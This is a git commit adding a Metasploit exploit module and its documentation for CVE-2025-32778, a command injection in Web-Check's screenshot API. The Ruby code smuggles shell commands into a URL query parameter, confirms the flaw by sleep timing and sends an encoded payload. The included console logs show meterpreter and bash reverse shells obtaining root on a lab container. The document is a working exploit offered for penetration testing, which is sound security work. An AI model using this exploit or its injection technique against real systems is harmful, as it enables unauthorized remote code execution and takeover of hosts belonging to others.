Add Web-Check screenshot API command injection RCE exploit (CVE-2025-32778)

This commit is contained in:
Valentin Lobstein
2025-12-18 18:49:37 +01:00
parent b3f3b82f36
commit 13f102eb5b
2 changed files with 223 additions and 0 deletions
@@ -0,0 +1,91 @@
## Vulnerable Application
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
The vulnerability exists in versions before commit 0e4958aa10b2650d32439a799f6fc83a7cd46cef.
1. Clone the vulnerable version:
```
cd ~/web-check
git checkout 0e4958aa10b2650d32439a799f6fc83a7cd46cef~1
```
2. Build and run with Docker:
```
docker compose up -d
```
3. Verify the application is running at http://localhost:3000
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/multi/http/web_check_screenshot_rce`
3. Do: `set RHOSTS localhost`
4. Do: `set RPORT 3000`
5. Do: `set LHOST <docker_gateway_ip>`
6. Do: `run`
7. You should get a meterpreter session.
## Options
This module uses standard HTTP options.
## Scenarios
### Meterpreter Reverse TCP
```
msf > use exploit/multi/http/web_check_screenshot_rce
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
RHOSTS => 172.23.0.2
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/web_check_screenshot_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
[*] Sending stage (3090404 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.23.0.2:52296) at 2025-12-18 18:44:37 +0100
meterpreter > sysinfo
Computer : 172.23.0.2
OS : Debian 11.9 (Linux 6.14.0-116036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Reverse Shell Bash
```
msf > use exploit/multi/http/web_check_screenshot_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
RHOSTS => 172.23.0.2
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/web_check_screenshot_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.23.0.2:44860) at 2025-12-18 18:46:23 +0100
id
uid=0(root) gid=0(root) groups=0(root)
echo "Hacking is good"
Hacking is good
```
@@ -0,0 +1,132 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Web-Check Screenshot API Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
allowing command injection via URL query parameters. The vulnerability was patched in commit
0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-32778'],
['URL', 'https://github.com/Lissy93/web-check'],
['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Payload' => {
'Space' => 131068,
'DisableNops' => true,
'Encoder' => 'cmd/base64'
},
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/unix/reverse_bash
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-04-12',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
])
end
def build_url(command = nil)
return Faker::Internet.url if command.nil?
param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
"http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
end
def send_screenshot_request(command = nil)
url = build_url(command)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
'method' => 'GET',
'vars_get' => { 'url' => url }
})
end
def check
res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request
end
return CheckCode::Unknown("#{peer} - No response from web service") unless res
return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404
network_latency = [baseline_elapsed, 0.3].max
vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
sleep_tests = [2, 3, 4].map do |duration|
_, elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request("sleep #{duration}")
end
threshold = duration - network_latency
vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
{ elapsed: elapsed, threshold: threshold }
end
passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }
case passed_tests
when 2..3
return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
when 1
return CheckCode::Appears('Screenshot API endpoint exists and may be vulnerable')
end
return CheckCode::Appears('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')
CheckCode::Unknown('Could not determine vulnerability status')
end
def exploit
vprint_status('Sending payload via screenshot API')
send_screenshot_request(payload.encoded)
end
end